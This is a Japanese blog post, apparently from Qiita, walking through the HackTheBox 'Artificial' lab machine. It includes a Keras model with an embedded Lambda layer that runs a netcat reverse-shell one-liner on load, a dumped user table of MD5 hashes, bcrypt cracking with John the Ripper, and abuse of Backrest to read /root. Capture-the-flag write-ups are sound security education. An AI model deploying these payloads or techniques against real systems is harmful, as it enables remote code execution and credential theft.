0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Artificial

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Artificialです。

Artificialでは、AIモデルの脆弱性やBackrestについて学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 23:30 JST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.26s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.15 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

Artificialは、AIモデルの構築、テスト及びデプロイメントを提供するプラットフォームです。

スクリーンショット 2025-07-09 23.33.55.png

アカウントを作成してログイン後、ダッシュボード画面に遷移します。

スクリーンショット 2025-07-09 23.37.52.png

ダッシュボード画面の説明よりAIモデルをアップロードできることが分かります。従ってアップロード機能を悪用することで、足場を作ることができると考えられます。

脆弱性分析

AIモデルの脆弱性について調べたところ、Kerasのkeras.models.load_modelメソッドはsafe_mode=Trueの設定でも、任意のコード実行に悪用される可能性があることが分かりました。

足場を作るためには、ペイロードを仕込んだAIモデルを用意します。

AIモデルのデプロイを行うにあたり以下サンプルのDockerfileが用意されていましたが、ビルドできませんでした。

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Dockerfileを以下のように修正後、ビルドできました。

FROM python:3.8

WORKDIR /code

RUN apt-get update && apt-get install -y \
    build-essential \
    curl \
    libopenblas-dev \
    liblapack-dev \
    libhdf5-dev \
    libffi-dev \
    libbz2-dev \
    liblzma-dev \
    libzstd-dev \
    && apt-get clean

RUN pip install --upgrade pip setuptools wheel

RUN pip install tensorflow==2.13.1

ENTRYPOINT ["/bin/bash"]

ビルドを行う際は、以下の様なコマンドを実行します。

$ docker build -t py-tf-image .

ビルド完了後、コンテナを起動してログインします。

$ docker run -d -it --name tfcontainer py-tf-image
$ docker exec -it tfcontainer /bin/bash

コンテナにログイン後、以下のコードを用意して実行します。

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc [REDACTED] 4444>/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

カレントディレクトリにexploit.h5ファイルが生成されるため、コンテナからローカルにコピーします。

$ docker cp tfcontainer:/code/exploit.h5 ./

システムハッキング

上記で作成したAIモデルを用いて、足場を作ります。

アクセスの獲得

リスナーを事前に用意した状態で、作成したAIモデルをアップロードします。

スクリーンショット 2025-07-10 0.32.40.png

アップロード後「View Predictions」のボタンを押します。

スクリーンショット 2025-07-10 0.32.53.png

リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.74] 53208
/bin/sh: 0: can't access tty; job control turned off
$ 

ユーザーフラグ

カレントディレクトリである/home/app/appディレクトリ配下を確認します。

total 28
-rw-rw-r-- 1 app app 7846 Jun  9 13:54 app.py
drwxr-xr-x 2 app app 4096 Jul 10 11:40 instance
drwxrwxr-x 2 app app 4096 Jul 10 11:40 models
drwxr-xr-x 2 app app 4096 Jun  9 13:55 __pycache__
drwxrwxr-x 4 app app 4096 Jun  9 13:57 static
drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates

instanceディレクトリより、興味深いusers.dbファイルを発見しました。

total 24
-rw-r--r-- 1 app app 24576 Jul 10 11:43 users.db

sqlite3を実行して、テーブルの中身を確認すると、userテーブルの存在が確認できます。

$ sqlite3 instance/users.db

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user 

userテーブルにアクセスして、gaelユーザのパスワードを控えます。

sqlite> .header on
sqlite> .mode column
sqlite> 
sqlite> select * from user;
id          username    email                password                        
----------  ----------  -------------------  --------------------------------
1           gael        gael@artificial.htb  [REDACTED]
2           mark        mark@artificial.htb  0f3d8c76530022670f1c6029eed09ccb
3           robert      robert@artificial.h  b606c5f5136170f15444251665638b36
4           royer       royer@artificial.ht  bc25b1f80f544c0ab451c02a3dca9fc6
5           mary        mary@artificial.htb  bf041041e57f1aff3be7ea1abd6129d0
6           thor        thor@gmail.com       575e22bc356137a41abdef379b776dba
7           try         try@try.com          81dc9bdb52d04dc20036dbd8313ed055
8           anon        anon@wp.pl           068f01f2e4285e6cd2afb2186b98a1bd
9           dbtest      dbtest@gmail.com     9d2265a28e6689894389626aa6368221
10          tester      gavece2893@fenexy.c  e09c381c48c07422390798d737289862
11          robo        robo@gmail.com       6d67f24e6f2cff6ed5b0495fab78618a
12          admin'--    test@test.com        482c811da5d5b4bc6d497ffa98491e38
13          testuser12  malicious@evil.com<  482c811da5d5b4bc6d497ffa98491e38
14          ../../../e  pathtest@test.com    482c811da5d5b4bc6d497ffa98491e38
15          test123     test123@gmail.com    098f6bcd4621d373cade4e832627b4f6
16          pepe        pepe@pepe.com        926e27eecdbc7a18858b3798ba99bddd
17          hola'OR1=1  hola@gmail.com       098f6bcd4621d373cade4e832627b4f6
18          normaluser  test$(sleep 5)@test  482c811da5d5b4bc6d497ffa98491e38
19          pene'OR1=1  pene@gmail.com       098f6bcd4621d373cade4e832627b4f6
20          admin       admin@artificial.ht  66f844302f1f1a81193197fdcdcb02ba
21          mariopene   mariopene@gmail.com  098f6bcd4621d373cade4e832627b4f6
22          hello       hello123@gmail.com   5d41402abc4b2a76b9719d911017c592
23          Panos       panagiotiskalargyro  f7ec44ee0497982c504d7c155a824a9f
24          testuser    test@artificial.htb  3829bfb98b47b14acc4e7f09e7ebe291
25          trinity_te  trinity_test_001@ar  482c811da5d5b4bc6d497ffa98491e38
26          dark        dark@gmail.com       a82fd95db10ff25dfad39f07372ebe37
27          pablo       pablo@mail.com       7e4b64eb65e34fdfad79e623c44abd94
28          user1       user1@user.com       d8578edf8458ce06fbc5bb76a58c5ca4
29          test        test@abc.com         098f6bcd4621d373cade4e832627b4f6
30          hackthebox  test@mail.com        098f6bcd4621d373cade4e832627b4f6

取得したパスワードはMD5でハッシュ化されているため、CrackSstationで解析します。

スクリーンショット 2025-07-10 20.48.07.png

取得した認証情報を用いてログインすると、ユーザフラグが確認できます。

$ ssh gael@10.10.11.74

total 36
drwxr-x--- 4 gael gael 4096 Jul 10 10:04 ./
drwxr-xr-x 4 root root 4096 Jun 18 13:19 ../
lrwxrwxrwx 1 root root    9 Oct 19  2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gael gael 3771 Feb 25  2020 .bashrc
drwx------ 2 gael gael 4096 Sep  7  2024 .cache/
-rw-r--r-- 1 gael gael  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Oct 19  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 19  2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4096 Sep  7  2024 .ssh/
-rw-r----- 1 root gael   33 Jul 10 04:02 user.txt
-rw------- 1 gael gael  112 Jul 10 10:04 .Xauthority

ルートフラグ

ローカルでリッスンしているポートより9898番ポートに注目します。

State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process                
LISTEN                0                     2048                                     127.0.0.1:5000                                    0.0.0.0:*                                         
LISTEN                0                     4096                                     127.0.0.1:9898                                    0.0.0.0:*                                         
LISTEN                0                     511                                        0.0.0.0:80                                      0.0.0.0:*                                         
LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                         
LISTEN                0                     128                                        0.0.0.0:22                                      0.0.0.0:*  

SSHポートフォワーディングを実行してアクセスすると、Backrestのログイン画面が表示されます。

スクリーンショット 2025-07-10 20.52.04.png

Backrestは、restic上に構築されたWebアクセス可能なバックアップソリューションです。

ログインするための認証情報を調査したところ、/var/backupsディレクトリでbackrest_backup.tar.gzファイルを発見しました。

total 51964
-rw-r--r-- 1 root root      51200 Jul 10 06:25 alternatives.tar.0
-rw-r--r-- 1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz
-rw-r--r-- 1 root root        268 Sep  5  2024 dpkg.diversions.0
-rw-r--r-- 1 root root        135 Sep 14  2024 dpkg.statoverride.0
-rw-r--r-- 1 root root     696841 Jun  9 10:48 dpkg.status.0

ローカルにコピーして中身を確認したところ、_backrest_backup.tar.gz.extracted/backrest/.config/backrest/ディレクトリより、config.jsonファイルが見つかりました。

合計 12
drwxr-xr-x 2 kali kali 4096  3月  5 07:17 .
drwxr-xr-x 3 kali kali 4096  3月  4 06:27 ..
-rw------- 1 kali kali  280  3月  5 07:17 config.json

config.jsonファイルを開くと、認証情報が確認できます。

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "REDACTED"
      }
    ]
  }
}

パスワードエンコードされているため、bcrypt形式に変換してからJohn the Ripperで解析します。

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt -format=bcrypt

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]           (?)     
1g 0:00:00:12 DONE (2025-07-10 22:49) 0.08116g/s 438.3p/s 438.3c/s 438.3C/s techno..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

解析したパスワードを使用してログインします。

スクリーンショット 2025-07-10 22.54.08.png

リポジトリを作成します。

スクリーンショット 2025-07-10 22.57.18.png

作成したリポジトリを選択します。

スクリーンショット 2025-07-10 22.57.39.png

help画面よりコマンドが確認できます。

スクリーンショット 2025-07-10 22.58.09.png

以下のコマンドを実行して、/rootディレクトリのバックアップを取得します。

スクリーンショット 2025-07-10 23.20.48.png

バックアップ処理が開始されます。

スクリーンショット 2025-07-10 23.25.23.png

snapshotのIDを確認します。

スクリーンショット 2025-07-10 23.25.23.png

取得したsnapshotのIDを指定して、dumpを実行すると、ルートフラグが確認できます。

スクリーンショット 2025-07-10 23.26.38.png

おわりに

悪意のあるLambdaレイヤーをモデルに埋め込むことができるRCEのリスクについて学びました。

Kerasのkeras.models.load_modelメソッドを使用して、レガシーフォーマットである.h5またはHDF5形式のモデルを読み込む場合、safe_mode=Trueの設定は警告やエラーなしに無視されます。

なお、この脆弱性はKeras 3.11.3で修正されています。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?